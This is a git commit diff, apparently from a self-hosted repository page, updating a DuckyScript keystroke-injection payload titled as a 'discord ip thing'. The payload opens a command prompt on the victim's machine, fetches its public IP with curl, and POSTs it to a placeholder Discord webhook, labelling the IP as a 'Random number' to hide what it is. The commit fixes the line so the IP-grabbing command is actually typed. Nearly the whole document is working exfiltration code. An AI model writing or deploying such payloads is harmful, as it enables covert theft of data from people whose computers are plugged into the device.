updated discord ip thing
This commit is contained in:
parent
bdbc8e544e
commit
4de2ee5d15
1 changed files with 2 additions and 2 deletions
|
@ -6,10 +6,10 @@ STRING cmd
|
||||||
DELAY 500
|
DELAY 500
|
||||||
ENTER
|
ENTER
|
||||||
DELAY 500
|
DELAY 500
|
||||||
for /f "delims=" %i in ('curl ipv4.icanhazip.com') do set IP_ADDR=%i
|
STRING for /f "delims=" %i in ('curl ipv4.icanhazip.com') do set IP_ADDR=%i
|
||||||
DELAY 500
|
DELAY 500
|
||||||
ENTER
|
ENTER
|
||||||
DELAY 1000
|
DELAY 1000
|
||||||
STRING curl -H "Content-Type: application/json" -X POST -d "{\"content\": \"Random number: %IP_ADDR%\"}" YOUR_DISCORD_WEBHOOK_URL
|
STRING curl -H "Content-Type: application/json" -X POST -d "{\"content\": \"Random number: %IP_ADDR%\"}" YOUR_DISCORD_WEBHOOK_URL
|
||||||
DELAY 500
|
DELAY 500
|
||||||
ENTER
|
ENTER
|
||||||
|
|
Loading…
Add table
Reference in a new issue